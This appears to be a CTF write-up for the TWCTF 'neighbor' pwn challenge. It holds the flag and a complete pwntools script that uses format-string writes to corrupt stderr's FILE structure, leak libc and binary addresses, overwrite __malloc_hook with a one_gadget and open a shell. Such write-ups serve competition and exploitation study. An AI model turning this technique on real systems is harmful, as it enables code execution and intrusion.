Tags: pwn 

Rating: 3.5

Flag: TWCTF{You_understand_FILE_structure_well!1!1} :P

from pwn import *
import threading
import signal

THREADS = 20
LOCAL = False

STOP = False
COUNTER = 0

def worker():
    global LOCAL, STOP, COUNTER
    while True:
        if STOP:
            break

        if LOCAL:
            s = process('./neighbor', env = {"LD_PRELOAD": "./libc.so.6"}, stderr = open('/dev/null', 'w+'), level = 'error')
        else:
            s = remote('neighbor.chal.ctf.westerns.tokyo', 37565, level = 'error')
        
        COUNTER += 1
        log.info('Attempt #{}...'.format(COUNTER))

        # Hello neighbor!
        s.recvline()

        # Please tell me about yourself. I must talk about you to our mayor.
        s.recvline()

        # assuming stack layout at fprintf call is like this:

        # gdb-peda$ x/20gx $rsp
        # 0x7fffffffed30:   0x00007ffff7dd2520  0x00007ffff7dd2520 # %5, %6
        # 0x7fffffffed40:   0x00007fffffffed60  0x00007ffff7dd2520 # %7, %8
        # 0x7fffffffed50:   0x00007fffffffed60  0x0000555555554962 # %9, %10
        # 0x7fffffffed60:   0x00007fffffffed70  0x00005555555549d7 # %11, %12
        # 0x7fffffffed70:   0x00005555555549f0  0x00007ffff7a303f1 # %13, %14
        # 0x7fffffffed80:   0x0000000000040000  0x00007fffffffee58 # %15, %16
        # 0x7fffffffed90:   0x00000001f7b9a508  0x0000555555554965 # %17, %18
        # 0x7fffffffeda0:   0x0000000000000000  0x69876215140821cc # %19, %20
        # ...
        # %9 points to %11
        # %5, %6, %8 all point to _IO_2_1_stderr_
        # %8 = rbp-0x8 = first argument to fprintf

        try:
            s.sendline('%{}c%9$hhn'.format(0x38)) # make %11 point to %6
            s.sendline('%{}c%11$hhn'.format(0x90)) # make %6 point to _IO_2_1_stderr_->fileno
            s.sendline('%{}c%6$hhn'.format(0x1)) # overwrite _IO_2_1_stderr_->fileno with 1

            if s.recv(timeout=4):
                if STOP:
                    break

                STOP = True
                log.success('got output!')

                s.sendline('%13$lu.%14$lu.%8$lu')
                binary_base, libc_base, malloc_hook = map(int, s.recvline().strip().split('.'))

                binary_base -= 0x9f0
                libc_base -= 0x203f1
                malloc_hook -= 0xa30
                one_shot = libc_base + 0x4557a

                log.success('binary @ ' + hex(binary_base))
                log.success('libc @ ' + hex(libc_base))
                log.success('__malloc_hook @ ' + hex(malloc_hook))
                log.success('one_shot @ ' + hex(one_shot))

                log.info('putting __malloc_hook address on stack ...')

                # make %11 point to %19
                s.sendline('%{}c%9$hhn'.format(0xa0))
                s.recvline()
                s.sendline('%{}c%11$hn'.format(malloc_hook & 0xffff))
                s.recvline()

                s.sendline('%{}c%9$hhn'.format(0xa0 + 2))
                s.recvline()
                s.sendline('%{}c%11$hn'.format((malloc_hook >> 16) & 0xffff))
                s.recvline()

                s.sendline('%{}c%9$hhn'.format(0xa0 + 4))
                s.recvline()
                s.sendline('%{}c%11$hn'.format((malloc_hook >> 32) & 0xffff))
                s.recvline()

                # make %11 point to %19
                s.sendline('%{}c%9$hhn'.format(0xa0))
                s.recvline()

                # __malloc_hook address is now at %19
                log.info('writing one_shot gadget to __malloc_hook ...')

                s.sendline('%{}c%19$hn'.format(one_shot & 0xffff))
                s.recvline()
                s.sendline('%{}c%11$hn'.format((malloc_hook + 2) & 0xffff))
                s.recvline()
                s.sendline('%{}c%19$hn'.format((one_shot >> 16) & 0xffff))
                s.recvline()

                # trigger call to __malloc_hook
                log.info('triggering __malloc_hook ...')
                s.sendline('%66000c')

                log.success('pwned!')

                s.interactive()
            s.close()
        except EOFError:
            continue
try:
    for w in range(THREADS):
        t = threading.Thread(target=worker)
        t.daemon = True
        t.start()

    signal.pause()
except (KeyboardInterrupt, SystemExit):
    log.info('received keyboard interrupt, quitting threads.')